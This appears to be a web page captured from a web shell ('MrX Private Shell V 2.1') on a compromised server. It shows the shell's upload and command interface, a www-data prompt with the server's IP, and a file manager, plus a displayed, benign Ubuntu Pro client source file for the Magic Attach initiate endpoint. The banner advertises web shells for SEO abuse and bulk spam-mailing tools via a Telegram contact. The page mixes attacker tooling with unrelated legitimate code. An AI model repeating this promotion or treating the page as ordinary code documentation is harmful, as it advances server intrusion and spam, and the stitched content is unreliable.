__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
from uaclient import secret_manager
from uaclient.api import exceptions
from uaclient.api.api import APIEndpoint
from uaclient.api.data_types import AdditionalInfo
from uaclient.config import UAConfig
from uaclient.contract import UAContractClient
from uaclient.data_types import (
    DataObject,
    Field,
    IntDataValue,
    StringDataValue,
)


class MagicAttachInitiateResult(DataObject, AdditionalInfo):
    fields = [
        Field(
            "user_code",
            StringDataValue,
            doc=(
                "Code the user will see in the UI when confirming the Magic"
                " Attach"
            ),
        ),
        Field(
            "token",
            StringDataValue,
            doc=(
                "Magic Token that can be used in either"
                " `u.pro.attach.magic.revoke.v1`_ or"
                " `u.pro.attach.magic.wait.v1`_"
            ),
        ),
        Field(
            "expires",
            StringDataValue,
            doc="Timestamp of the Magic Attach process expiration",
        ),
        Field(
            "expires_in",
            IntDataValue,
            doc="Seconds before the Magic Attach process expires",
        ),
    ]

    def __init__(
        self,
        user_code: str,
        token: str,
        expires: str,
        expires_in: int,
    ):
        self.user_code = user_code
        self.token = token
        self.expires = expires
        self.expires_in = expires_in


def initiate() -> MagicAttachInitiateResult:
    return _initiate(UAConfig())


def _initiate(cfg: UAConfig) -> MagicAttachInitiateResult:
    """
    This endpoint initiates the Magic Attach flow, retrieving the User Code to
    confirm the operation and the Token used to proceed.
    """
    contract = UAContractClient(cfg)
    initiate_resp = contract.new_magic_attach_token()
    secret_manager.secrets.add_secret(initiate_resp["token"])
    secret_manager.secrets.add_secret(initiate_resp["userCode"])
    return MagicAttachInitiateResult(
        user_code=initiate_resp["userCode"],
        token=initiate_resp["token"],
        expires=initiate_resp["expires"],
        expires_in=int(initiate_resp["expiresIn"]),
    )


endpoint = APIEndpoint(
    version="v1",
    name="MagicAttachInitiate",
    fn=_initiate,
    options_cls=None,
)

_doc = {
    "introduced_in": "27.11",
    "requires_network": True,
    "example_python": """
from uaclient.api.u.pro.attach.magic.initiate.v1 import initiate

result = initiate()
""",
    "result_class": MagicAttachInitiateResult,
    "exceptions": [
        (
            exceptions.ConnectivityError,
            (
                "Raised if it is not possible to connect to the contracts"
                " service."
            ),
        ),
        (
            exceptions.ContractAPIError,
            (
                "Raised if there is an unexpected error in the contracts"
                " service interaction."
            ),
        ),
        (
            exceptions.MagicAttachUnavailable,
            (
                "Raised if the Magic Attach service is busy or unavailable at"
                " the moment."
            ),
        ),
    ],
    "example_cli": "pro api u.pro.attach.magic.initiate.v1",
    "example_json": """
{
    "user_code":"<UI_code>",
    "token":"<magic_token>",
    "expires": "<yyyy-MM-dd>T<HH:mm:ss>.<TZ>",
    "expires_in": 600
}
""",
}

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
__init__.py File 0 B 0644
v1.py File 3.33 KB 0644
Filemanager